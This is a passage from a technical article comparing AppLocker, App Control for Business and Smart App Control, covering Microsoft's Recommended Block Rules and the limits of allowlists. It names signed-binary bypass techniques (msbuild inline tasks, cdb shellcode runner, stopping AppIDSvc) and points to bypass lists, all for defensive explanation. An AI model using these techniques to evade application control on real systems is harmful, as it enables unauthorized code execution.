&lt;td&gt;Launches WSL kernel, an environment outside App Control&lt;/td&gt;
&lt;td&gt;community&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-bypass]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;The structural limit being demonstrated.&lt;/strong&gt; A publisher-gate allowlist cannot evaluate what a signed binary will &lt;em&gt;do&lt;/em&gt; after it starts. If the policy allows Microsoft-signed code, it has no way to know that &lt;code&gt;msbuild.exe&lt;/code&gt; will compile and execute attacker-supplied C# at runtime. The same kind of structural ceiling that applied to AppLocker&apos;s user-mode evaluator applies to App Control&apos;s publisher gate. Different mechanism, different layer; same kind of structural ceiling.&lt;/p&gt;

flowchart LR
    A[&quot;Signed binary loads&quot;] --&amp;gt; B[&quot;Policy admits publisher&quot;]
    B --&amp;gt; C[&quot;Binary starts&quot;]
    C --&amp;gt; D[&quot;Binary reads attacker-controlled input&quot;]
    D --&amp;gt; E[&quot;Attacker-controlled code runs&quot;]
    note[&quot;No policy-time check can prevent this&quot;]
    E -. observed by .- note
&lt;p&gt;&lt;strong&gt;The community corpus.&lt;/strong&gt; Jimmy Bayne&apos;s &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass] preserves per-binary attribution to Forshaw, Smith, Nelson, Graeber, Moe, and others. Pair with the LOLBAS Project [@lolbas-project] as the cross-platform &lt;a href=&quot;https://paragmali.com/blog/living-off-the-land-on-windows-the-lolbin-catalog-and-the-st/&quot; rel=&quot;noopener&quot;&gt;LOLBin catalogue&lt;/a&gt; and you have the empirical record the Recommended Block Rules canonicalise.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Microsoft&apos;s response was institutional, not architectural.&lt;/strong&gt; Publish the inverse list and update it continuously. The Microsoft Recommended Block Rules policy is the canonical mitigation [@ms-appcontrol-bypass]. Snapshots of the page through 2019, 2020, 2022, and 2023 show a monotonically growing enumeration: a handful of entries at first, around forty by 2026, with each addition traceable to a named-researcher write-up.Matt Graeber&apos;s original 2016 &lt;code&gt;cdb.exe&lt;/code&gt; write-up URL &lt;code&gt;www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html&lt;/code&gt; now serves an unrelated 2011 NTFS-ADS post (also by Graeber, but pre-cdb-era). The verbatim August 2016 LOLBin post is preserved in the Wayback Machine [@exploit-monday-cdb-wayback]. The attribution is independently triangulated by the Microsoft Recommended Block Rules page itself (&lt;em&gt;&quot;Microsoft recognizes ... Matt Graeber&quot;&lt;/em&gt;) [@ms-appcontrol-bypass] and by &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass].&lt;/p&gt;
&lt;p&gt;The article must state plainly: &lt;em&gt;&quot;App Control with the Recommended Block Rules&quot;&lt;/em&gt; and &lt;em&gt;&quot;App Control without them&quot;&lt;/em&gt; are not the same product. The block list is load-bearing.&lt;/p&gt;

DO NOT consider any application whitelisting solution to be secure against a bored member of staff. -- James Forshaw, *DG on Windows 10 S* [@tiraniddo-dg-2017]
&lt;p&gt;&lt;strong&gt;Operational cost is non-zero.&lt;/strong&gt; The &lt;code&gt;webclnt.dll&lt;/code&gt; block in the Recommended Block Rules has a documented practitioner side effect. Peter Upfold&apos;s July 2024 write-up [@upfold-webclnt-word-hang] documents a 5-15 second Word &quot;not responding&quot; hang on OneDrive / SharePoint saves caused specifically by that block, on machines with App Control for Business enforcing the Microsoft Recommended Block Rules. The mitigation has a cost. Honest deployment means measuring the cost against the threat it addresses.&lt;/p&gt;

Peter Upfold reported in July 2024 [@upfold-webclnt-word-hang] that *&quot;users were experiencing a 5-15 second delay when saving a document to OneDrive or SharePoint, during which Word would show as &apos;not responding.&apos; All machines in question use App Control for Business (WDAC).&quot;* The cause was the `webclnt.dll` entry in the Microsoft Recommended Block Rules, which blocks the WebDAV redirector. WebDAV is the underlying transport Office uses for some OneDrive / SharePoint save paths. The block exists because `webclnt.dll` has historically been used by attackers to coerce NTLM authentication to attacker-controlled UNC paths; the side effect is a Word hang on legitimate saves. This is the texture of *&quot;App Control with the Recommended Block Rules&quot;*: not theoretical, not free.
&lt;p&gt;&lt;strong&gt;Tie back to the thesis.&lt;/strong&gt; The bypass corpus does &lt;em&gt;not&lt;/em&gt; undermine App Control&apos;s security-boundary status. It underlines that without the Recommended Block Rules, an App Control &lt;em&gt;&quot;allow all Microsoft-signed code&quot;&lt;/em&gt; policy is not a coherent security policy. The boundary holds &lt;em&gt;because&lt;/em&gt; Microsoft and the community continuously update the inverse list.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The MSRC servicing-criteria classification of App Control as a security feature assumes the Recommended Block Rules are merged into the policy. An App Control deployment that allows Microsoft-signed code without the Block Rules is enforcement-of-a-name, not enforcement-of-a-capability. The single most-skipped step in production deployments is the merge of the Recommended Block Rules and the Vulnerable Driver Blocklist into the active policy.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If both AppLocker and App Control have structural ceilings, and Microsoft maintains them both, the question is not &lt;em&gt;&quot;which one is correct?&quot;&lt;/em&gt; It is: &lt;em&gt;what is Microsoft&apos;s third application-control product, who is it for, and how does it relate to the first two?&lt;/em&gt; That is Smart App Control.&lt;/p&gt;
&lt;h2&gt;9. Smart App Control -- The Adjacent Consumer Application&lt;/h2&gt;
&lt;p&gt;Windows 11 22H2 ships on September 20, 2022 [@blogs-windows-22h2-launch] [@ms-lifecycle-win11-enterprise]. Microsoft introduces &lt;strong&gt;Smart App Control&lt;/strong&gt; (SAC) for consumer Windows. It runs on the same kernel CI machinery as App Control for Business [@ms-smart-app-control]. It is &lt;em&gt;not&lt;/em&gt; App Control for Business. Why is it a distinct product?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mechanism.&lt;/strong&gt; SAC uses the same &lt;code&gt;ci.dll&lt;/code&gt; evaluator as App Control for Business. Its decision source is ISG, with a fallback to &lt;em&gt;&quot;valid signature from a Trusted Root CA&quot;&lt;/em&gt; when ISG has no verdict [@ms-smart-app-control]. The enforcement is gated &lt;em&gt;on&lt;/em&gt; by default on a clean install of Windows 11 22H2 or later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The product is categorically different.&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Unmanaged&lt;/em&gt;: no admin policy, no GPO, no Intune authoring surface.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;All-or-nothing&lt;/em&gt;: there is no per-app rule list. Either SAC is on for the device, or it is off.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Auto-disables silently&lt;/em&gt;: when the device&apos;s telemetry suggests SAC would be disruptive, it can disable itself without prompting the user [@ms-smart-app-control].&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Enterprise-managed devices keep it off&lt;/em&gt;: SAC stays off if &lt;em&gt;&quot;your device is enterprise-managed or developer-mode has been configured&quot;&lt;/em&gt; [@ms-support-sac-faq].&lt;/li&gt;
&lt;/ul&gt;

A consumer-grade Windows 11 application-control feature that uses the same kernel CI evaluator as App Control for Business but provides no policy authoring surface. SAC consults the Intelligent Security Graph for reputation and a Trusted Root CA signature fallback for unknown binaries. SAC is binary: on (enforcing for the device) or off. It is enabled by default on clean installs of Windows 11 22H2 and later for unmanaged consumer devices [@ms-smart-app-control] [@ms-support-sac-faq].
&lt;p&gt;&lt;strong&gt;The 2026 update most older write-ups still get wrong.&lt;/strong&gt; SAC can be re-enabled without a clean install on current Windows versions. The Microsoft Support FAQ [@ms-support-sac-faq] states: &lt;em&gt;&quot;Recent Windows updates allow Smart App Control to be enabled within the Windows Security App without requiring a clean installation&quot;&lt;/em&gt; and &lt;em&gt;&quot;Recent Windows updates allow Smart App Control to be re-enabled without requiring a clean installation.&quot;&lt;/em&gt; If you read a blog post that claims SAC requires a Windows 11 reinstall to enable, that post pre-dates these updates. The current SAC state-machine vocabulary is &lt;em&gt;evaluation mode&lt;/em&gt; (not &lt;em&gt;audit mode&lt;/em&gt;) [@ms-smart-app-control].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The widely-cited 2022-era guidance that &lt;em&gt;&quot;to turn on Smart App Control, a Windows 11 reinstall is required&quot;&lt;/em&gt; is no longer true [@ms-support-sac-faq]. Microsoft has shipped the in-place enable / re-enable surface in the Windows Security app. If your reading list still warns of the reinstall requirement, the warning is empirically outdated as of 2026.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The Microsoft documentation about SAC is itself inconsistent on this point. The &lt;em&gt;Smart App Control overview&lt;/em&gt; developer page still says SAC &lt;em&gt;&quot;can only be enabled on a clean install of a version of Windows that contains the Smart App Control feature&quot;&lt;/em&gt; and lists &lt;em&gt;&quot;A clean Windows install&quot;&lt;/em&gt; as a SAC requirement [@ms-smart-app-control], while the Microsoft Support FAQ [@ms-support-sac-faq] documents the in-place re-enable surface. The FAQ is the more current source and is the one Microsoft updates when servicing changes the behaviour; the developer overview page lags. Practitioners reading the two pages back-to-back should treat the FAQ as authoritative for current Windows.&lt;/p&gt;
&lt;p&gt;Why SAC is &lt;em&gt;not&lt;/em&gt; &quot;WDAC for consumers&quot;: the enforcement engine is approximately the same, but the product is categorically different. Unmanaged, all-or-nothing, ISG-gated, silently auto-disables. The kernel is the same; the management story is the inverse. The FAQ in section 15 flags this misconception explicitly.&lt;/p&gt;
&lt;p&gt;Three products now sit in the inventory: AppLocker, App Control for Business, Smart App Control. The practitioner question is no longer &lt;em&gt;&quot;which one is best?&quot;&lt;/em&gt; It is &lt;em&gt;&quot;which one fits which deployment?&quot;&lt;/em&gt; That is the job of the next section.&lt;/p&gt;
&lt;h2&gt;10. Side-by-Side Comparison -- The Practitioner Matrix&lt;/h2&gt;
&lt;p&gt;Most comparisons of AppLocker and App Control are organised by feature inventory. That answers the wrong question. Organise the comparison by &lt;em&gt;what the security practitioner actually needs to decide&lt;/em&gt;, and the line between the two becomes obvious.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Practitioner-decision dimension&lt;/th&gt;
&lt;th&gt;AppLocker&lt;/th&gt;
&lt;th&gt;App Control for Business&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MSRC servicing-criteria classification&lt;/td&gt;
&lt;td&gt;Defense-in-depth (not a security feature) [@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;td&gt;Security feature when signed policy and HVCI [@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Enforcement locus&lt;/td&gt;
&lt;td&gt;User-mode &lt;code&gt;AppIDSvc&lt;/code&gt; + kernel &lt;code&gt;AppID.sys&lt;/code&gt; minifilter [@ms-applocker-architecture]&lt;/td&gt;
&lt;td&gt;Kernel &lt;code&gt;ci.dll&lt;/code&gt; (HVCI: VTL1) [@ms-hvci]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Survives &lt;code&gt;SYSTEM&lt;/code&gt;-equivalent attacker&lt;/td&gt;
&lt;td&gt;No -- &lt;code&gt;sc stop AppIDSvc&lt;/code&gt; ends enforcement&lt;/td&gt;
&lt;td&gt;Yes, when policy is signed and HVCI is on&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-user / per-group rules&lt;/td&gt;
&lt;td&gt;Yes [@ms-appcontrol-feature-availability]&lt;/td&gt;
&lt;td&gt;No (whole-device) [@ms-appcontrol-feature-availability]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Driver coverage&lt;/td&gt;
&lt;td&gt;No (drivers go through KMCS / DSE)&lt;/td&gt;
&lt;td&gt;Yes -- App Control policy can govern drivers as a peer of KMCS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.bat&lt;/code&gt; / &lt;code&gt;.cmd&lt;/code&gt; script enforcement&lt;/td&gt;
&lt;td&gt;Yes [@ms-applocker-rules]&lt;/td&gt;
&lt;td&gt;No -- script enforcement is host-cooperative and &lt;code&gt;cmd.exe&lt;/code&gt; is not enlightened [@ms-appcontrol-script-enforcement] [@ms-appcontrol-feature-availability]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signing infrastructure required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Internal code-signing PKI required for signed policy (the security-boundary configuration)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reboot required to apply policy changes&lt;/td&gt;
&lt;td&gt;No (immediate take-effect through AppIDSvc)&lt;/td&gt;
&lt;td&gt;Yes for signed policies (because the trusted-signer set is sealed at boot)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPO deployment&lt;/td&gt;
&lt;td&gt;Mature dedicated UI&lt;/td&gt;
&lt;td&gt;Single-policy XML through Administrative Templates -&amp;gt; System -&amp;gt; Device Guard&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MDM / Intune deployment&lt;/td&gt;
&lt;td&gt;AppLocker CSP (in maintenance) [@ms-applicationcontrol-csp]&lt;/td&gt;
&lt;td&gt;ApplicationControl CSP (multi-policy, where new feature work lands) [@ms-applicationcontrol-csp] [@ms-intune-app-control]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active feature development&lt;/td&gt;
&lt;td&gt;None -- &lt;em&gt;&quot;isn&apos;t getting new feature improvements&quot;&lt;/em&gt; [@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;td&gt;Yes -- multi-policy cap removed April 2024 [@ms-appcontrol-multi-policy], Server 2025 OSConfig integration [@techcommunity-osconfig-server-2025]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Canonical bypass corpus&lt;/td&gt;
&lt;td&gt;Oddvar Moe &lt;code&gt;UltimateAppLockerByPassList&lt;/code&gt; [@github-ultimateapplockerbypass]&lt;/td&gt;
&lt;td&gt;Jimmy Bayne &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass]; Microsoft Recommended Block Rules [@ms-appcontrol-bypass]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The table does not say &lt;em&gt;&quot;AppLocker bad, App Control good.&quot;&lt;/em&gt; It says the two are &lt;strong&gt;non-substitutable&lt;/strong&gt;. AppLocker gives you per-user policy on devices that do not have a code-signing PKI. App Control gives you a real security boundary on devices that do.&lt;/p&gt;
&lt;p&gt;Every &lt;em&gt;&quot;App Control = Yes&quot;&lt;/em&gt; row in the security-boundary direction is gated on the policy being signed and HVCI being on. Every &lt;em&gt;&quot;AppLocker = Yes&quot;&lt;/em&gt; row in the per-user direction comes with the user-mode-service ceiling. The article repeats these gating conditions in the prose so the reader does not over-read the table.&lt;/p&gt;

flowchart TB
    subgraph Quad[&quot;Threat-model fit&quot;]
        AL[&quot;AppLocker&lt;br /&gt;per-user yes, admin-resistant no&lt;br /&gt;(operational hygiene)&quot;]
        AC[&quot;App Control for Business&lt;br /&gt;per-user no, admin-resistant yes&lt;br /&gt;(security boundary, when signed and HVCI)&quot;]
        SAC[&quot;Smart App Control&lt;br /&gt;per-user no, admin-resistant partial&lt;br /&gt;(consumer, unmanaged)&quot;]
        None[&quot;No allowlist&lt;br /&gt;per-user no, admin-resistant no&lt;br /&gt;(default Windows)&quot;]
    end

The comparison table is intentionally pitched at the practitioner-decision layer. It does not show audit-mode behaviour (both products support it), the specific Event Log IDs (AppLocker logs to `Microsoft-Windows-AppLocker/*`, App Control to `Microsoft-Windows-CodeIntegrity/*`), the reboot semantics for unsigned vs signed App Control policies (unsigned changes can take effect without reboot in some configurations; signed changes require a reboot to refresh the trusted signer set), or the specific PowerShell cmdlet inventory. These details matter operationally and are covered on Microsoft Learn [@ms-appcontrol-applocker-overview] [@ms-applicationcontrol-csp]; they do not change the decision shape and are excluded from the comparison for word budget.
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; AppLocker and App Control for Business are non-substitutable. The line between them is not &lt;em&gt;new&lt;/em&gt; vs &lt;em&gt;old&lt;/em&gt;; it is &lt;em&gt;per-user without PKI&lt;/em&gt; vs &lt;em&gt;security boundary with PKI&lt;/em&gt;. A deployment that needs both -- per-user policy on some collections and a real security boundary on others -- runs both side by side, which is exactly the configuration Windows 11 24H2 supports.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The table makes the &lt;em&gt;what&lt;/em&gt; explicit. The &lt;em&gt;why both still ship&lt;/em&gt; is still left implicit. The next section makes the case explicit, including the load-bearing negative citation that AppLocker is &lt;strong&gt;not&lt;/strong&gt; on Microsoft&apos;s deprecated-features page as of February 2026.&lt;/p&gt;
&lt;h2&gt;11. Why Both Still Ship -- and Why &quot;AppLocker Is Deprecated&quot; Is Folklore&lt;/h2&gt;
&lt;p&gt;A line that has circulated in community summaries since 2023: &lt;em&gt;&quot;AppLocker is being sunsetted, migrate to WDAC.&quot;&lt;/em&gt; Is that line true?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The load-bearing negative citation.&lt;/strong&gt; As of the February 2, 2026 update of Microsoft Learn&apos;s &lt;em&gt;Deprecated features in the Windows client&lt;/em&gt; page [@ms-deprecated-features], &lt;strong&gt;AppLocker is not on the list&lt;/strong&gt;. The page enumerates features Microsoft has formally deprecated -- WMIC, PowerShell 2.0, NTLM, DirectAccess, Maps, EdgeHTML, Paint 3D, the LPR/LPD print services, the UWP Map control. AppLocker is not among them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What Microsoft does say&lt;/strong&gt;, taken verbatim from the &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt; page [@ms-appcontrol-applocker-overview]:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;As established in §4, Microsoft&apos;s own servicing-criteria language disqualifies AppLocker as a security feature [@ms-appcontrol-applocker-overview]; the load-bearing point for &lt;em&gt;this&lt;/em&gt; section is the second half of the same page.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&quot;Although AppLocker continues to receive security fixes, it isn&apos;t getting new feature improvements.&quot;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

Although AppLocker continues to receive security fixes, it isn&apos;t getting new feature improvements. -- Microsoft Learn, *App Control and AppLocker Overview* [@ms-appcontrol-applocker-overview]
&lt;p&gt;The October 8, 2024 cumulative update KB5044288 (OS Build 25398.1189, Windows Server, version 23H2) confirms the &lt;em&gt;&quot;continues to receive security fixes&quot;&lt;/em&gt; claim with a concrete servicing fix [@ms-kb-5044288]: the release notes specifically include &lt;em&gt;&quot;[AppLocker] Fixed: The rule collection enforcement mode is not overwritten when rules merge with a collection that has no rules. This occurs when the enforcement mode is set to &apos;Not Configured.&apos;&quot;&lt;/em&gt; The fix shipped on the Server SKU first; the AppLocker code path is shared, so the fix appears on the client SKUs through their parallel monthly servicing. AppLocker is in maintenance mode, not deprecation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Five reasons AppLocker still ships in 2026.&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Reason&lt;/th&gt;
&lt;th&gt;Practitioner consequence&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Per-user rules&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;App Control is whole-device. Multi-user terminal-server, Citrix VDI, and education labs need per-user policy.&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-feature-availability]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;No signing infrastructure required&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;App Control&apos;s tamper-resistance story requires an internal code-signing PKI; AppLocker requires none.&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPO ergonomics&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AppLocker has a mature dedicated GPO UI; App Control GPO deployment is single-policy format only (multi-policy requires the &lt;code&gt;ApplicationControl&lt;/code&gt; CSP).&lt;/td&gt;
&lt;td&gt;[@ms-applicationcontrol-csp]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Installed base&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Existing AppLocker deployments work; ripping them out for a different security model has migration cost without a forced trigger.&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Threat-model fit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Some organisations only need to keep end users from running random downloads -- the &lt;em&gt;operational hygiene&lt;/em&gt; threat model. AppLocker fits that model and admits its scope.&lt;/td&gt;
&lt;td&gt;[@ms-appcontrol-applocker-overview]&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The first reason is the load-bearing one. The kernel &lt;code&gt;ci.dll&lt;/code&gt; evaluator does not consult per-user token context as a policy input; the App Control policy is whole-device by design. Until that changes, any environment whose risk model depends on different rule sets for different user identities -- terminal servers, RDS hosts, Citrix VDI, education labs, kiosks shared by multiple users -- has to keep AppLocker even if every other dimension would point toward App Control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The community-folklore correction.&lt;/strong&gt; The &lt;em&gt;&quot;AppLocker is deprecated&quot;&lt;/em&gt; line is not Microsoft&apos;s position. The Microsoft position is the comparative one in &lt;em&gt;App Control and AppLocker Overview&lt;/em&gt;: App Control is the recommended security feature; AppLocker is the supported parallel option for the scenarios above. The strongest defensible characterisation of AppLocker&apos;s roadmap is &lt;em&gt;&quot;feature complete, not actively developed, continues to receive security fixes&quot;&lt;/em&gt; -- not &lt;em&gt;&quot;deprecated.&quot;&lt;/em&gt; Microsoft&apos;s &lt;em&gt;Deprecated features in the Windows client&lt;/em&gt; page reinforces this in an unexpected direction [@ms-deprecated-features]: when the page deprecated Microsoft Defender Application Guard for Office, it recommended transitioning to &lt;em&gt;&quot;Microsoft Defender for Endpoint attack surface reduction rules along with Protected View and Windows Defender Application Control&quot;&lt;/em&gt; -- a Microsoft-curated recommendation that names App Control as the forward-looking layer, not the legacy one.The KB5044288 October 2024 fix [@ms-kb-5044288] is the concrete proof-point that the &lt;em&gt;&quot;security fixes&quot;&lt;/em&gt; claim is observable. It addresses a specific AppLocker rule-merge bug. A genuinely deprecated feature does not get bug fixes shipped on Patch Tuesday two years after rename.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The phrase frequently appears in community summaries, conference slides, and migration-vendor sales decks. It is not in Microsoft Learn. AppLocker is not on the deprecated-features list [@ms-deprecated-features] as of February 2026, it continues to receive security fixes [@ms-kb-5044288], and Microsoft Learn explicitly preserves it for the scenarios where App Control is not a substitute [@ms-appcontrol-applocker-overview]. If your migration plan rests on the assumption that AppLocker will be removed soon, the assumption does not have a public Microsoft commitment behind it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If both still ship, the natural next question is not which one to use today but where the &lt;em&gt;ceiling&lt;/em&gt; for any allowlist mechanism is. That ceiling is structural, it is the same for AppLocker, App Control, and SAC, and the research community has named it.&lt;/p&gt;
&lt;h2&gt;12. Theoretical Limits -- What No Allowlist Can Do&lt;/h2&gt;
&lt;p&gt;The publisher-gate structural limit shown in section 8 was specific to App Control. Here is the more general version of the same observation: &lt;em&gt;application control cannot evaluate side effects.&lt;/em&gt; The same ceiling applies to AppLocker, App Control, SAC, ISG, every Microsoft Recommended Block Rules iteration, &lt;em&gt;and every third-party product in the same market.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The structural claim is folklore-level but universally observed; no published impossibility theorem yet states it formally. The closest standard result is &lt;strong&gt;Rice&apos;s theorem&lt;/strong&gt;: any non-trivial &lt;em&gt;behavioural&lt;/em&gt; property of a Turing-complete program is undecidable in the general case. A publisher-gate allowlist asks a behavioural question -- &lt;em&gt;&quot;will this binary do something that violates policy?&quot;&lt;/em&gt; -- and answers it with a structural fact -- &lt;em&gt;&quot;who signed it?&quot;&lt;/em&gt; The mismatch is not a defect of any individual allowlist product; it is a working bound the field treats as a corollary of Rice. The policy evaluator runs &lt;em&gt;before&lt;/em&gt; the binary starts. It knows what the binary &lt;em&gt;is&lt;/em&gt; -- the signer subject, the file hash, the path on disk, the Authenticode metadata. It does not know what the binary will &lt;em&gt;do&lt;/em&gt;. If &lt;code&gt;msbuild.exe&lt;/code&gt; is signed by Microsoft and the policy allows Microsoft-signed binaries, the policy has no way to know that &lt;code&gt;msbuild.exe&lt;/code&gt; will then read an attacker-controlled &lt;code&gt;.csproj&lt;/code&gt; file containing an inline &lt;code&gt;&amp;lt;Task&amp;gt;&lt;/code&gt; element and compile and execute the attached C# at runtime.&lt;/p&gt;
&lt;p&gt;This is the structural reason Microsoft publishes the Recommended Block Rules [@ms-appcontrol-bypass]. It is also the structural reason &lt;em&gt;&quot;allow all Microsoft-signed code&quot;&lt;/em&gt; is not a security policy -- it is a starting point.&lt;/p&gt;
&lt;p&gt;As established in §4 and §8, the bound is observed from both sides of the asymmetric arms race. External offensive research arrives at the &lt;em&gt;&quot;bored member of staff&quot;&lt;/em&gt; framing in the Windows 10 S analysis [@tiraniddo-dg-2017]; the Microsoft-employed authors of the canonical deployment baseline arrive at the &lt;em&gt;&quot;determined user with administrative rights&quot;&lt;/em&gt; framing in the AaronLocker README [@github-aaronlocker]. Two independent perspectives, the same ceiling stated in their own vocabularies. §12&apos;s contribution is not to re-quote either; it is to name the structural reason both arrive at the same place.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; The publisher-gate ceiling is not an artefact of AppLocker&apos;s user-mode design or App Control&apos;s kernel-but-publisher design. The ceiling is a property of the &lt;em&gt;allowlist model&lt;/em&gt; whose allow signal is &lt;em&gt;&quot;this code is from a publisher I trust&quot;&lt;/em&gt; instead of &lt;em&gt;&quot;this code&apos;s runtime behaviour matches a trusted policy.&quot;&lt;/em&gt; Closing the ceiling would require policy-time content semantics, which no Microsoft-shipped mechanism provides today.&lt;/p&gt;
&lt;/blockquote&gt;

The folklore claim *&quot;a publisher-gate allowlist cannot evaluate side effects&quot;* does not have a published formal impossibility result in the cryptography or program-analysis literature. Rice&apos;s theorem supplies the necessary-condition argument used above -- any non-trivial behavioural property of programs is undecidable in the general case -- but a tighter result calibrated to publisher-gate allowlists would have to constrain the adversary model (for example, bound the candidate input space or restrict the binary&apos;s capability surface) before any positive decidability claim becomes possible. The application-control literature has not crossed that bar; this article does not either.
&lt;p&gt;If the ceiling is structural, what is the research community actively trying that &lt;em&gt;might&lt;/em&gt; push it upward? Microsoft is not the only player; the field has named open problems.&lt;/p&gt;
&lt;h2&gt;13. Open Problems and Active Research&lt;/h2&gt;
&lt;p&gt;Seven open problems the field has named but not closed. The most honest framing is: each one has a Microsoft partial-mitigation, none has a clean solution. Each is treated below with the problem statement, the empirical or architectural evidence, the current Microsoft (and where relevant, regulatory) mitigation, and the residual gap.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Continuous catch-up against new Microsoft-signed LOLBins.&lt;/strong&gt; Every new signed binary that takes a &lt;em&gt;&quot;run code from this file&quot;&lt;/em&gt; argument is a candidate addition to the &lt;em&gt;Recommended Block Rules&lt;/em&gt; [@ms-appcontrol-bypass]. The list is by construction monotonic and never complete. The empirical evidence is the lag between a LOLBin&apos;s public disclosure and its appearance on the Microsoft page, observable in Wayback Machine snapshots of the page. Three case studies bracket the lag range. Matt Graeber&apos;s August 2016 &lt;code&gt;cdb.exe&lt;/code&gt; shellcode-runner write-up [@exploit-monday-cdb-wayback] appears on the recommended-block-rules page in the months that followed. Jimmy Bayne&apos;s August 2019 &lt;code&gt;dotnet.exe&lt;/code&gt; write-up [@bohops-dotnet-awl] appears in a batch of additions roughly a year later. Peter Upfold&apos;s mid-2024 &lt;code&gt;webclnt.dll&lt;/code&gt;-via-Word issue [@upfold-webclnt-word-hang] was a hang, not a LOLBin, but the WebDAV / WebClient surface had appeared in the page revisions of the prior couple of years. The case studies suggest a working practitioner bound: lags between a public LOLBin disclosure and a corresponding entry on the Microsoft Recommended Block Rules page range from &lt;strong&gt;several months to over a year&lt;/strong&gt;, with longer tails for less load-bearing additions. A practitioner planning App Control deployments should not wait for the Microsoft page to catch up; merge community lists (LOLBAS [@lolbas-project], &lt;code&gt;bohops/UltimateWDACBypassList&lt;/code&gt; [@github-ultimatewdacbypass]) into your own enforcement explicitly. The open research question is whether a binary&apos;s &lt;em&gt;capability surface&lt;/em&gt; -- does it load arbitrary code? does it invoke a script host? -- can be inferred at scale, so the block list is &lt;em&gt;generated&lt;/em&gt; rather than &lt;em&gt;curated&lt;/em&gt;. Static analysis identifies some signals (a binary that imports &lt;code&gt;LoadLibrary&lt;/code&gt; and &lt;code&gt;GetProcAddress&lt;/code&gt; is at minimum suspect), but no Microsoft-shipped tool does this automatically across the signed-binary surface.&lt;/p&gt;
